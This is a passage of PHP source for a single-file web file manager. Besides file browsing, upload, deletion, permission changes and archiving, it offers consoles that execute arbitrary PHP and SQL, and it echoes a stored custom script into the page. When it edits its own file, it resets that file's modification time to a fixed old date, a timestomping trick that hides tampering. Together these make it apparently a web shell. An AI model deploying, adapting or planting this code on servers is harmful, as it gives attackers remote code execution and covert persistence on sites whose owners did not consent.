beLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <script src="https://cdn.jsdelivr.net/gh/Den1xxx/EditArea@master/edit_area/edit_area_full.js"></script> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="25" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <script language="Javascript" type="text/javascript"> document.addEventListener('DOMContentLoaded', function() { editAreaLoader.init({ id: "newcontent" ,display: "later" ,start_highlight: true ,allow_resize: "both" ,allow_toggle: true ,word_wrap: true ,language: "ru" ,syntax: "<?=pathinfo($_REQUEST['edit'], PATHINFO_EXTENSION)?>" ,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help" ,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas" }); }); </script> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/henriyzx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ 